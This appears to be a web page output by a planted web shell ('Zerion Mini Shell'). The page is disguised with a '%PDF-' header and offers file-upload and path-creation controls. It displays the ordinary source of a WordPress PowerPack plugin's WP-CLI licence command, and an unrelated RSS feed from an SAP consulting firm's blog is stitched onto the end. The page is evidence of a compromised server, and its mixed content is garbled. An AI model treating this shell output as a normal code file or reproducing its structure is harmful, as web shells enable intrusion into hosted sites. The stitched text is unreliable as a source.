%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom329039/wp-content/plugins/bbpowerpack/classes/
Upload File :
Create Path :
Current File : //dom329039/wp-content/plugins/bbpowerpack/classes/class-pp-wpcli-command.php

<?php
// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * WP Cli commands for PowerPack.
 */
class BB_PowerPack_WPCLI_Command extends WP_CLI_Command {
	/**
	 * Activate the PowerPack's license.
	 *
	 * ## OPTIONS
	 *
	 * [--deactivate]
	 * Deactivate the license.
	 *
	 * [--license]
	 * License key to use.
	 *
	 * ## EXAMPLES
	 *
	 * 1. wp powerpack register --license=01234567890
	 * 		- Register this domain using license 01234567890
	 * 2. wp powerpack register --deactivate
	 * 		- Removes domain from domain manager and clears saved license info.
	*/
	public function register( $args, $assoc_args ) {
		$license = '';

		if ( isset( $assoc_args['deactivate'] ) ) {
			$response = bb_powerpack_license( 'deactivate_license' );

			// make sure the response came back okay
			if ( is_wp_error( $response ) || 200 !== wp_remote_retrieve_response_code( $response ) ) {
				if ( is_wp_error( $response ) ) {
					WP_CLI::error( $response->get_error_message() );
				} else {
					WP_CLI::error( __( 'An error occurred, please try again.', 'bb-powerpack' ) );
				}
			} else {
				// decode the license data
				$license_data = json_decode( wp_remote_retrieve_body( $response ) );

				// $license_data->license will be either "deactivated" or "failed"
				if ( 'deactivated' === $license_data->license || 'failed' === $license_data->license ) {
					bb_powerpack_delete( 'bb_powerpack_license_status' );
				}

				WP_CLI::success( $license_data->license );
			}

			return false;
		}

		if ( isset( $assoc_args['license'] ) && '' != $assoc_args['license'] ) {
			$license = $assoc_args['license'];
		}

		if ( ! $license ) {
			WP_CLI::error( 'No license info found.' );
		}

		WP_CLI::log( sprintf( 'Using license [ %s ] to register %s', $license, network_home_url() ) );

		bb_powerpack_update( 'bb_powerpack_license_key', $license );

		$response = bb_powerpack_license( 'activate_license', $license );

		// make sure the response came back okay
		if ( is_wp_error( $response ) || 200 !== wp_remote_retrieve_response_code( $response ) ) {
			if ( is_wp_error( $response ) ) {
				WP_CLI::error( $response->get_error_message() );
			} else {
				WP_CLI::error( __( 'An error occurred, please try again.', 'bb-powerpack' ) );
			}
		} else {
			// decode the license data
			$license_data = json_decode( wp_remote_retrieve_body( $response ) );

			if ( false === $license_data->success ) {
				WP_CLI::error( bb_powerpack_license_messages( $license_data->error ) );
			} else {
				// $license_data->license will be either "valid" or "invalid"
				bb_powerpack_update( 'bb_powerpack_license_status', $license_data->license );

				if ( 'valid' === $license_data->license ) {
					WP_CLI::success( 'activated' );
				} else {
					WP_CLI::error( __( 'Invalid license.', 'bb-powerpack' ) );
				}
			}
		}
	}

	/**
	 * White Label branding.
	 *
	 * ## OPTIONS
	 *
	 * [--reset]
	 * Resets the branding.
	 *
	 * ## EXAMPLES
	 *
	 * 1. wp powerpack branding --reset
	 * 		- Reset the white label setting page and plugin visibility.
	*/
	public function branding( $args, $assoc_args ) {
		if ( isset( $assoc_args['reset'] ) ) {
			bb_powerpack_plugin_activation();
			WP_CLI::success( __( 'White Label branding has been reset successfully.', 'bb-powerpack' ) );
		}
	}

	/**
	 * Templates.
	 *
	 * ## OPTIONS
	 *
	 * [--reset]
	 * Clears the enabled templates data.
	 *
	 * ## EXAMPLES
	 *
	 * 1. wp powerpack templates --reset
	 * 		- Reset the enabled templates.
	*/
	public function templates( $args, $assoc_args ) {
		if ( isset( $assoc_args['reset'] ) ) {
			pp_clear_enabled_templates();
			WP_CLI::success( __( 'Templates have been reset successfully.', 'bb-powerpack' ) );
		}
	}
}

WP_CLI::add_command( 'powerpack', 'BB_PowerPack_WPCLI_Command' );

Zerion Mini Shell 1.0
GMH Consulting Group LLC https://gmhconsultinggroup.com/ The global benchmark in the successful delivery of all SAP projects. Mon, 09 Oct 2023 18:12:51 +0000 en-US hourly 1 https://wordpress.org/?v=6.8.13 https://gmhconsultinggroup.com/wp-content/uploads/2023/01/cropped-New-Project-57-32x32.png GMH Consulting Group LLC https://gmhconsultinggroup.com/ 32 32 Advantages of mRNA Vaccines https://gmhconsultinggroup.com/2022/02/134/ Wed, 02 Feb 2022 04:58:00 +0000 https://gmhconsultinggroup.com/?p=134 Helping Moderna with the SAP S4 supply chain digital transformation of their mRNA Vaccine technology worldwide. #sap #technology #digitaltransformation #s4hana #supplychain Digitalization of Vaccines

The post Advantages of mRNA Vaccines appeared first on GMH Consulting Group LLC.

]]>

Helping Moderna with the SAP S4 supply chain digital transformation of their mRNA Vaccine technology worldwide. #sap #technology #digitaltransformation #s4hana #supplychain

Digitalization of Vaccines

The post Advantages of mRNA Vaccines appeared first on GMH Consulting Group LLC.

]]>
Digitalization of Vaccines Enabled by S/4 HANA https://gmhconsultinggroup.com/2022/02/132/ Wed, 02 Feb 2022 04:57:00 +0000 https://gmhconsultinggroup.com/?p=132 Helping Moderna deliver on the promise of mRNA science to create an new generation of transformative medicines for patients enabled by S/4 Digital Supply Chain. #saps4hana #supplychain #digital #science

The post Digitalization of Vaccines Enabled by S/4 HANA appeared first on GMH Consulting Group LLC.

]]>

Helping Moderna deliver on the promise of mRNA science to create an new generation of transformative medicines for patients enabled by S/4 Digital Supply Chain. #saps4hana #supplychain #digital #science

The post Digitalization of Vaccines Enabled by S/4 HANA appeared first on GMH Consulting Group LLC.

]]>
SAP Cloud Integration Platform https://gmhconsultinggroup.com/2018/09/browse-projects-accomplished-by-our-consulting-team/ Sat, 29 Sep 2018 04:56:00 +0000 https://gmhconsultinggroup.com/?p=130 Browse Projects Accomplished by Our Consulting Team

The post SAP Cloud Integration Platform appeared first on GMH Consulting Group LLC.

]]>

Browse Projects Accomplished by Our Consulting Team

The post SAP Cloud Integration Platform appeared first on GMH Consulting Group LLC.

]]>